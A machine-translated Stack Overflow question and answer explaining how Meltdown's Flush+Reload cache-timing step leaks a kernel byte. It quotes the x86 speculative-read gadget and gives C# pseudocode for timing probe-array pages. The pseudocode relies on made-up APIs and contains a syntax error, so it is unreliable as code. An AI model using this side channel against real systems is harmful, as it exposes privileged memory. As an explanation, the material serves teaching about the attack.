如何找出英特尔处理器上的指令触摸的缓存行?

时间:2018-01-04 14:30:06

标签: caching x86

我阅读了文章about the Meltdown/Spectre exploit,它允许使用CPU中的硬件错误从内核读取特权数据。它说:

  

诀窍是在正常的用户进程中排列指令   使处理器推测性地从受保护的内核中获取数据   执行任何安全检查之前的内存。至关重要   熔化 - 利用x86-64代码可以像......一样简单。

; rcx = kernel address
; rbx = probe array
retry:
  mov al, byte [rcx]
  shl rax, 0xc
  jz retry
  mov rbx, qword [rbx + rax]
     

尝试从内核地址获取一个字节作为用户进程   触发异常 - 但后续指令已经存在   被推测性地按顺序执行,并触摸基于缓存行   关于该获取字节的内容。

     

引发异常,并在其他地方进行非致命处理   无序指令已经对内容有所影响   字节。在缓存上执行一些Flush + Reload魔术会显示哪个缓存   触摸了行,从而触及了内核内存字节的内容。   反复重复一遍,最后你转储的内容   内核记忆。

有人可以解释这个 Flush + Reload magic 是如何完成的,它如何揭示触摸的缓存行?

1 个答案:

答案 0 :(得分:9)

//再往下,C#中有伪代码显示完整的过程。

我们有一个内核地址rcx,它是我们想要泄漏的内核内存空间中一个字节的地址(让我们调用那个字节“X”的值)。当前正在运行的用户进程不允许访问此地址。这样做会引发异常。

我们在用户空间中有一个大小为256 * 4096字节的探测器阵列,我们可以自由访问。所以,这只是一些正常的数组,正好是256页长。一页的大小是4096字节。

首先,执行刷新操作(“Flush + Reload”的第一部分)。这告诉处理器完全清除L1缓存。因此,L1缓存中没有缓存内存页面。 (我们在OP中的代码中没有看到)

然后我们执行OP中提到的代码。

mov al, byte [rcx]

我们读取了要泄漏的内核地址的字节值X并将其存储在rax寄存器中。该指令将触发异常,因为我们不允许从用户级代码访问此内存地址。

但是,因为测试我们是否允许访问此地址需要一些时间,处理器将已经开始执行以下语句。因此,我们希望知道存储在rax寄存器中的字节值X用于这些语句。

shl rax, 0xc

我们将此秘密值X乘以4096(页面大小)。

mov rbx, qword [rbx + rax]

现在我们将rax寄存器中的计算值添加到探测器数组的开头,并获取一个指向构成探测器阵列的内存空间中第X页的地址。

然后我们访问该地址的数据,这意味着探测器阵列的第X页被加载到L1缓存中。

现在,L1缓存为空(因为我们已经在显式之前清除它),除了缓存中的两个页面:

  1. 内核内存中包含X的页面(但我们仍然无法访问)
  2. Xth。探针阵列中的页面
  3. 现在,“Flush + Reload”的第二部分开始了。我们一个接一个地读取探针阵列中的每个页面,测量所需的时间。所以,我们总共加载了256页。这些页面加载中的255个将相当慢(因为相关的内存尚未在L1缓存中),但是一个加载(第X页的加载)将非常快(因为它之前在L1缓存中)。

    现在,因为我们发现加载Xth页面的速度最快,我们知道X是我们想要泄漏的内核地址的值。

    meltdown paper,这是显示在探测器阵列中加载页面的时间测量的图形:

    enter image description here

    在这种情况下,X是84。

    C#中的伪代码显示完整的过程:

    public unsafe byte LeakByte(IntPtr kernelAddress)
    {
        const int PAGE_SIZE = 4096;
    
        // Make probe array
        byte[] probeArray = new byte[256 * PAGE_SIZE];
    
        // Clear cash
        Processor.ClearL1Cache();
    
        try
        {
            // mov al, byte [rcx]
            // This will throw an exception because we access illegal memory
            byte secret = *((byte*)kernelAddress.ToPointer());
    
            // Note that although the previous line logically 
            // throws an exception, 
            // the following code is still executed internally 
            // in the processor before the exception is 
            // actually triggered
    
            // Although the following lines are executed, any assignments 
            // to variables are discarded by the processor at the time the 
            // exception is then actually thrown.
    
            // shl rax, 0xc
            int pageOffset = secret * PAGE_SIZE;
    
            // mov rbx, qword [rbx + rax]
            // This moves the page with number secret into the L1 cache.
            int temp = probeArray[pageOffset];
        }
        catch
        {
            // Ignore Exception
        }
    
        // Now meassure time for accessing pages
        int bestTime = int.MaxValue;
        byte bestPage = 0;
    
        for(int i=0; i<= 255, i++)
        {
            int startTime = DateTime.NowInNanoSeconds;
            int temp = probeArray[i * PAGE_SIZE];
            int endTime = DateTime.NowInNanoSeconds;
    
            int timeTaken = endTime - startTime;
            if(timeTaken < bestTime)
            {
                bestTime = timeTaken;
                bestPage = (byte)i;
            }
    
        }
    
        // Fastest page was loaded from Cache and is the leaked secret
        return bestPage;
    }